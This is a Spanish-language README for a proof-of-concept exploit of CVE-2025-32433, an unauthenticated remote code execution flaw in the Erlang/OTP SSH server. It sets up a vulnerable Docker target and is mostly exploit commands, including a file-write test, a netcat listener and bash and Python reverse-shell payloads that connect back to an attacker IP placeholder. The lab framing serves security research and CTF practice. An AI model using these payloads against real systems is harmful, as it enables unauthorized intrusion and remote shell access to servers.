CVE-2025-32433: PoC de RCE no autenticado en Erlang/OTP SSH

Este repositorio contiene una prueba de concepto (PoC) para CVE-2025-32433, una vulnerabilidad crítica de ejecución remota de código (RCE) no autenticada que afecta a la implementación del servidor SSH en Erlang/Open Telecom Platform (OTP). Este PoC está diseñado con fines educativos, investigación en seguridad y desafíos Capture The Flag (CTF).

⚠️ Aviso legal: solo para uso educativo y ético ⚠️

Este PoC se proporciona estrictamente con fines educativos y de hacking ético. Está pensado para usarse en entornos controlados, como máquinas virtuales aisladas o plataformas CTF, donde tengas permiso explícito para realizar pruebas de seguridad.

NO uses este PoC contra ningún sistema que no poseas o para el que no tengas autorización explícita y por escrito para realizar pruebas. El acceso no autorizado o la explotación de sistemas informáticos es ilegal y poco ético. El autor y los mantenedores de este repositorio no son responsables del mal uso o de los daños causados por este código.

📊 Resumen de la vulnerabilidad

Detalles técnicos

La vulnerabilidad radica en la forma en que el servidor SSH de Erlang/OTP procesa los mensajes del protocolo SSH durante la fase de preautenticación. En concreto, el servidor no aplica correctamente la secuencia del protocolo SSH, lo que permite a un atacante remoto no autenticado enviar mensajes manipulados SSH_MSG_CHANNEL_OPEN y SSH_MSG_CHANNEL_REQUEST. Esto permite al atacante abrir un canal de sesión y ejecutar comandos arbitrarios de Erlang (que, a su vez, pueden ejecutar comandos del sistema) sin proporcionar credenciales válidas. Si el demonio SSH se ejecuta con privilegios elevados (por ejemplo, como root), una explotación exitosa puede comprometer completamente el sistema.

🛠️ Configuración: Construcción del entorno vulnerable (Docker)

La forma más sencilla de configurar un servidor SSH de Erlang/OTP vulnerable es utilizar el Dockerfile proporcionado.

1. Clona este repositorio:

   root@kitploit:~

   git clone https://github.com/NiteeshPujari/CVE-2025-32433-PoC.git
   cd CVE-2025-32433-PoC
   

2. Construye la imagen de Docker: Este comando compila una versión vulnerable de Erlang/OTP (OTP-26.2.5.10) y configura el servidor SSH.

   root@kitploit:~

   docker build -t erlang-ssh-vulnerable .
   

3. Ejecuta el contenedor del servidor vulnerable: Esto inicia el servidor SSH de Erlang/OTP en segundo plano, escuchando en el puerto 2222.

   root@kitploit:~

   docker run -d --name erlang-ssh-target -p 2222:2222 erlang-ssh-vulnerable
   

   • -d: Ejecuta el contenedor en modo desatendido (detached).
   • --name erlang-ssh-target: Asigna un nombre al contenedor para facilitar su administración.
   • -p 2222:2222: Mapea el puerto 2222 del host al puerto 2222 del contenedor.

🚀 Uso: Ejecutar el script PoC

El script cve_2025_32433_exploit.py se puede ejecutar de forma interactiva o con argumentos de línea de comandos.

Modo interactivo

Si ejecutas el script sin argumentos, te pedirá la información necesaria.

1. Asegúrate de que el contenedor Docker vulnerable esté en ejecución.
2. Ejecuta el script PoC en Python:
   root@kitploit:~

   python3 cve_2025_32433_exploit.py
   

3. Sigue las indicaciones interactivas: El script te pedirá:
   • Dirección IP del objetivo: (p. ej., 127.0.0.1 si el objetivo es Docker en el mismo host).
   • Puerto del objetivo: (p. ej., 2222).
   • Comando a ejecutar: (déjalo en blanco para el comando de prueba predeterminado).

Ejemplo 1: Probar RCE creando un archivo

Este es el comportamiento predeterminado si dejas el campo de comando en blanco en el modo interactivo. Crea un archivo /tmp/note.txt en el objetivo.

1. Ejecuta el exploit:
   root@kitploit:~

   python3 cve_2025_32433_exploit.py --target-ip 127.0.0.1 --target-port 2222 --command 'file:write_file("/tmp/note.txt", "Exploit Ran!").'
   

2. Verifica que el archivo se haya creado en el objetivo:
   root@kitploit:~

   docker exec -it erlang-ssh-target cat /tmp/note.txt
   

   Deberías ver la salida: Exploit Ran!

Ejemplo 2: Obtener una reverse shell

Para obtener una reverse shell, debes proporcionar un payload que se conecte de vuelta a un listener en tu máquina.

1. Inicia un listener de Netcat en tu máquina atacante (p. ej., Kali Linux) en el puerto que elijas.

   root@kitploit:~

   nc -lvnp 4444
   

   Importante: Asegúrate de que tu cortafuegos (p. ej., ufw) en tu máquina atacante permita conexiones entrantes en este puerto. sudo ufw allow 4444/tcp

2. Ejecuta el script PoC con el payload de reverse shell. Reemplaza YOUR_ATTACKER_IP con la dirección IP de tu máquina.

   • Reverse shell en Bash:

     root@kitploit:~

     python3 cve_2025_32433_exploit.py --target-ip 127.0.0.1 --target-port 2222 --command 'os:cmd("bash -i >& /dev/tcp/YOUR_ATTACKER_IP/4444 0>&1").'
     

   • Reverse shell en Python (a menudo más fiable):

     root@kitploit:~

     python3 cve_2025_32433_exploit.py --target-ip 127.0.0.1 --target-port 2222 --command 'os:cmd("python3 -c ''import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"YOUR_ATTACKER_IP\",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/bash\",\"-i\"]);''").'
     

3. Comprueba tu listener de Netcat. Deberías recibir una conexión y tener una shell en el contenedor objetivo.

🧹 Limpieza

Para detener y eliminar el contenedor y la imagen de Docker:

# Stop and remove the container
docker stop erlang-ssh-target
docker rm erlang-ssh-target

# Optional: remove the image as well
docker rmi erlang-ssh-vulnerable